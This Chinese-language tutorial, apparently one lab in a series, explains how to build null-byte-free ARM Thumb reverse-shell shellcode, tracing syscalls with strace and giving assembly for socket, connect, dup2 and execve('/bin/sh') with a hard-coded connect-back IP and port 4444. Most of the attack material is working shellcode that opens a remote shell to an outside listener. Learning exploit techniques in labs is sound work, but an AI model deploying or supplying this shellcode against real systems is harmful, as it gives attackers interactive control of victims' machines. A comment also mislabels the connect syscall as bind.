上一个实验中我们已经介绍了reverse shell(反向shell)的原理,再回顾一下
在reverse shell的场景下,内网的机器会主动连接到外网的几次上,比如作为攻击者,我们会在系统上开放一个监听端口,等待来自目标主机的弹回的连接。
同样,还是先看看C语言是怎么实现的。
完整代码在reverse.c中
第一步是确定必要的系统函数,其参数和系统调用号。 看看给出的C代码,我们可以看到我们需要以下函数:socket,connect,dup2,execve。 可以使用以下命令计算出这些函数的系统调用号:
以socket为例
用这样办法,得到的系统调用号如下
每个函数涉及的参数可以使用man xxx来查看,以execve为例
已经整理好,如下所示
下一步是弄清楚这些参数的具体值。 一种方法是使用strace查看成功的reverse shell连接。 Strace是一种工具,可用于跟踪系统调用并监视进程与Linux内核之间的交互。 让我们使用strace来测试我们reverse shell的C版本。 为了避免无关代码的干扰,我们使用-e将输出限制为我们感兴趣的功能。
这里注意,因为是反向连接,而且我在源码里写死的端口是1337,所以我们需要在另一个终端中先监听端口
然后再运行生成的可执行文件
然后输入whoami命令测试
现在可以根据strace的输出得到我们需要传递给reverse shell用到的函数的参数值了
整理如下
接下来我们将每个函数拆分为单独的块,并重复以下过程
- 确定哪个参数对应哪个寄存器
- 确定如何将所需的值传递给寄存器,包括:
- 如何将立即数传递给寄存器
2.如何在不直接将#0移入其中的情况下使寄存器中不存在null byte(我们需要在代码中避免使用空字节,因此必须找到其他方法来使寄存器或内存中的值无效)
3. 如何使寄存器指向存储器中存储常量和字符串的区域 - 使用正确的系统调用号来调用该函数并跟踪寄存器内容的更改:
- 系统调用的结果将落在r0中,这意味着如果需要在另一个函数中重用该函数的结果,则需要在调用函数之前将其保存到另一个寄存器中。
- 示例:host_sockid = socket(2,1,0)–套接字调用的结果(host_sockid)将到达r0。这个结果在监听(host_sockid,2)等其他函数中重用,因此应该保存在另一个寄存器中。
首先我们切换到Thumb模式
要降低遇到空字节的可能性,首先应该使用Thumb模式。在Arm模式下,指令为32位,在Thumb模式下,指令为16位。这意味着我们可以通过简单地减小指令的大小来减少空字节的可能性。要将模式从ARM更改为Thumb,请将下一条指令地址(位于pc中)的LSB(最低有效位)设置为1,方法是将pc寄存器的值加1并保存到另一个寄存器中。然后使用BX(分支和交换)指令分支到包含下一条指令地址的另一个寄存器,LSB设置为1,这使得处理器切换到Thumb模式。
.section .text
.global _start
_start:
.ARM
add r3, pc, #1
bx r3
从这里开始,将编写Thumb代码,因此需要在代码中使用.THUMB指令来指明这一点。
接下来我们要创建一个新的socket
socket调用参数所需的值可以通过如下命令得到:
设置参数后,使用svc指令调用套接字系统调用。 这个调用的结果将是我们的sockid并将结束在r0。由于我们以后需要sockid,让我们把它保存到r4。
在ARMv7 +中,您可以使用movw指令并将任何立即值放入寄存器。在ARMv6中,不能简单地将任何立即值移动到寄存器中,而必须将其拆分为两个较小的值。
为了通过rotator.py检查是否可以使用某个直接值,
上图是使用rotator.py的两个示例,可以看到281不能作为立即数,200可以
经过这一步分析,我们可以得到部分代码,如下所示
.THUMB
mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81 // r7 = 281 (socket 系统调用号)
svc #1 // r0 = sockid 的值
mov r4, r0 // 将sockid保存在 r4
第二步是连接
使用第一条指令,我们将存储在文字池中的结构对象(包含地址族,主机端口和主机地址)的地址放入R0。 文字池是存储常量,字符串或偏移量的同一部分中的内存区域(因为文字池是代码的一部分)。 当然也可以使用带标签的ADR指令,而不是手动计算pc相对偏移量。 ADR接受PC相对表达式,即带有可选偏移量的标签,其中标签的地址相对于PC标签。 像这样:
// connect(r0, &sockaddr, 16)
adr r1, struct // pointer to struct
[…]
struct:
.ascii “\x02\xff” // AF_INET 0xff will be NULLed
.ascii “\x11\x5c” // port number 4444
.byte 192,168,139,130 // IP Address
在第一条指令中,我们将R1指向存储区域,在该区域中存储地址族AF_INET,我们要使用的本地端口和IP地址的值。 STRB指令用x00替换\ x02 \ xff中的占位符xff,将AF_INET设置为\ x02 \ x00。
STRB指令将一个字节从寄存器存储到计算的存储区域。 语法[r1,#1]表示我们将R1作为基址,将立即值(#1)作为偏移量。 我们怎么知道它是一个空字节存储? 因为r2仅包含0(由于“sub r2,r2,r2”指令清除了寄存器)。
move指令将sockaddr结构的长度(AF_INET为2个字节,PORT为2个字节,ipaddress为4个字节,8个字节填充= 16个字节)放入r2。 然后,因为r7已经包含来自上一次系统调用的281,我们通过简单地向它添加2来将r7设置为283。
// connect(r0, &sockaddr, 16)
adr r1, struct // pointer to struct
strb r2, [r1, #1] // write 0 for AF_INET
mov r2, #16 // struct length
add r7, #2 // r7 = 281+2 = 283 (bind syscall number)
svc #1
接下来处理STDIN,STDOUT,stderr
对于dup2函数,我们需要系统调用号63.保存的sockid需要再次移入r0,子指令将r1设置为0.对于剩余的两个dup2调用,我们只需要更改r1并将r0重置为 每个系统调用后的sockid即可。
/* dup2(sockid, 0) /
mov r7, #63 // r7 = 63 (dup2 syscall number)
mov r0, r4 // r4 is the saved client_sockid
sub r1, r1 // r1 = 0 (stdin)
svc #1
/ dup2(sockid, 1) /
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1 (stdout)
svc #1
/ dup2(sockid, 2) */
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1+1 (stderr)
svc #1
最后就是派生shell了
// execve("/bin/sh", 0, 0)
adr r0, binsh // r0 = location of “/bin/shX”
sub r1, r1 // clear register r1. R1 = 0
sub r2, r2 // clear register r2. R2 = 0
strb r2, [r0, #7] // replace X with 0 in /bin/shX
mov r7, #11 // execve syscall number
svc #1
nop // nop needed for alignment
这里涉及的execve我们之前已经详细讲过了,这里不再赘述。
我们将值AF_INET(带有0xff,将被替换为null),端口号,IP地址和“/ bin / shX”字符串放在我们的汇编代码末尾。
struct_addr:
.ascii “\x02\xff” // AF_INET 0xff will be NULLed
.ascii “\x11\x5c” // port number 4444
.byte 10,0,2,15 // IP Address
binsh:
.ascii “/bin/shX”
将全部的片段组装起来就得到了完整的shellcode,在reverse_shell.s
同样还是先监听
再执行
测试whoami命令看看
成功了
最后一步还是将其转为16进制字符串